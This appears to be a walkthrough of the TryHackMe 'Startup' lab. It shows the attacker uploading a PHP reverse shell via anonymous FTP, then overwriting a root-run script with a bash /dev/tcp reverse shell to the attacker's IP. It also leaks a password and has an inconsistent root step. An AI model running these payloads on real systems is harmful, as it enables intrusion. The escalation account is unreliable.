StartUp

Room Covers:

  • Discovery

  • Exploitation

  • Privilege Escalation (horizontal + vertical)

Target Details

  • IP: 10.10.115.38

Service and Content Discovery

  • Scan Machine with Nmap

    nmap -sC -sV -Pn -oN nmap.txt 10.10.115.38

Nmap scan report for 10.10.115.38
Host is up (0.38s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE    SERVICE VERSION
21/tcp   open     ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx    2 65534    65534        4096 Nov 12  2020 ftp [NSE: writeable]
| -rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
|_-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.x.x.x
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
|   256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_  256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp   open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Maintenance
|_http-server-header: Apache/2.4.18 (Ubuntu)
1131/tcp filtered caspssl
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul  2 13:34:28 2022 -- 1 IP address (1 host up) scanned in 64.99 seconds

    We can login anonymously on FTP and we can write data anonymously in ftp directory

  • Services Discovered

    Service
    Port
    Version

    FTP

    21

    vsftpd 3.0.3

    SSH

    22

    OpenSSH 7.2p2

    HTTP

    80

    Apache httpd 2.4.18

  • Visiting HTTP website doesn't provide much information

  • Finding directories using gobuster

    gobuster dir -u http://10.10.115.38 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -t 30 --no-error -o web-dirs.txt

  • Directories Found

    Directory
    Link

    files

    /files

  • On visitng /files we get few files along with notice directory

Accessing FTP

  • Login anonymously

    ftp 10.10.115.38

Connected to 10.10.115.38.
220 (vsFTPd 3.0.3)
Name (10.10.115.38:attacker): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

    Logged in successfully

  • list files

    ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 65534    65534        4096 Jul 02 09:09 ftp
-rw-r--r--    1 0        0          251631 Nov 12  2020 important.jpg
-rw-r--r--    1 0        0             208 Nov 12  2020 notice.txt

    files are of web directory /files

Get Reverse Shell from Target Machine

  • Download php reverse shell

    wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

  • In reverse shell, change IP to TryHackMe VPN IP. default port is 1234

  • Start Netcat listener

    nc -nlvp 1234

  • Upload via FTP anonymously

    ftp> cd ftp
250 Directory successfully changed.
ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5596 bytes sent in 0.00 secs (53.3676 MB/s)
ftp>s

  • From browser visit /files/ftp/ directory and click on reverse shell file to get reverse shell on attacker's terminal

    # nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.x.x.x] from (UNKNOWN) [10.10.115.38] 51642
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 08:15:07 up 13 min,  0 users,  load average: 0.07, 0.51, 0.44
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Search for First Flag

  • Find files

    $ whoami
www-data
$ ls
bin
boot
dev
etc
home
incidents
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
recipe.txt
root
run
sbin
snap
srv
sys
tmp
usr
vagrant
var
vmlinuz
vmlinuz.old

  • Read recipe.txt file

    $ cat recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was xxxx.

  • We need to escalate privileges to read files

Privilege Escalation

  • Finding files with sticky bits

    $ find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping6
/bin/su
/bin/ping
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1

    Couldn't find something important

  • Checking for Python to get shell with tty

    $ python --version
Python 2.7.12

  • Spawn TTY terminal to use sudo/su

    python -c 'import pty; pty.spawn("/bin/bash")'
www-data@startup

  • from /incidents directory found a pcap file

    www-data@startup:/incidents$ ls -l
total 32
-rwxr-xr-x 1 www-data www-data 31224 Nov 12  2020 suspicious.pcapng

  • To analzye this file in WireShark, we need to first download the file, let's copy this file in ftp directory, then we can download it from web server

    www-data@startup:/incidents$ cp suspicious.pcapng /var/www/html/files/ftp

  • Download the file from http://10.10.115.38/files/ftp/suspicious.pcapng

  • Load the file in WireShark, right click on TCP packet number around 200 and choose follow -> TCP Stream, a list of commands will pop up in a new window, from where we can find the password

  • From pcap file: use follow lennie password c4ntg3txxxxxxxxxxx

  • Now, we can log into lennie's account with the password

    su lennie
Password:
lennie@startup:~$

    We've successfully escalated privileges horiztontally

Get User Flag

  • Finding Flag

    lennie@startup:~$ ls
Documents  scripts  user.txt

  • Read user.txt file

    lennie@startup:~$ cat user.txt
THM{03ce3d619b80ccxxxxxxxxxxxxxxxxxx}

Escalating Privileges Vertically

  • finding executables with sticky bits

    lennie@startup:~$ find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping6
/bin/su
/bin/ping
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1

    let's try sudo

  • get sudo executables list

    lennie@startup:~$ sudo -l
[sudo] password for lennie: c4ntg3t3n0ughsp1c3
Sorry, user lennie may not run sudo on startup.

    We cannot use sudo command

  • There was scripts folder in the home directory

    lennie@startup:~$ ls -l scripts
total 8
-rwxr-xr-x 1 root root 77 Nov 12  2020 planner.sh
-rw-r--r-- 1 root root  1 Jul  2 10:42 startup_list.txt

    planner.sh script belongs to root user

  • Read planner.sh script

    lennie@startup:~$ cat scripts/planner.sh
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh

    scripts calls another script /etc/print.sh with root privileges

  • Let's analyze print.sh script

    lennie@startup:~$ ls -l /etc/print.sh
-rwx------ 1 lennie lennie 60 Jul  2 10:11 /etc/print.sh

    This script belongs to lennie, hence we can write it and create a reverse shell with root access

  • Overwrite file contents

    echo "bash -c 'exec sudo bash -i &>/dev/tcp/10.x.x.x/9999 <&1'" > /etc/print.sh

  • Start netcat listener on attacker's machine on port 9999

    nc -nlvp 9999
listening on [any] 9999 ...

  • Execute planner.sh script

    bash /home/lennie/scripts/planner.sh

  • Get Reverse Shell

    nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.x.x.x] from (UNKNOWN) [10.10.115.38] 50290
sudo: unable to resolve host startup
bash: cannot set terminal process group (5564): Inappropriate ioctl for device
bash: no job control in this shell
root@startup:~#

    We've successfully got root privileges machine

Get Root Flag

  • List files

    root@startup:~# ls
root.txt

  • Read root.txt file

    root@startup:~# cat root.txt
THM{f963aaa6a43xxxxxxxxxxxxxxxxxxxxx}
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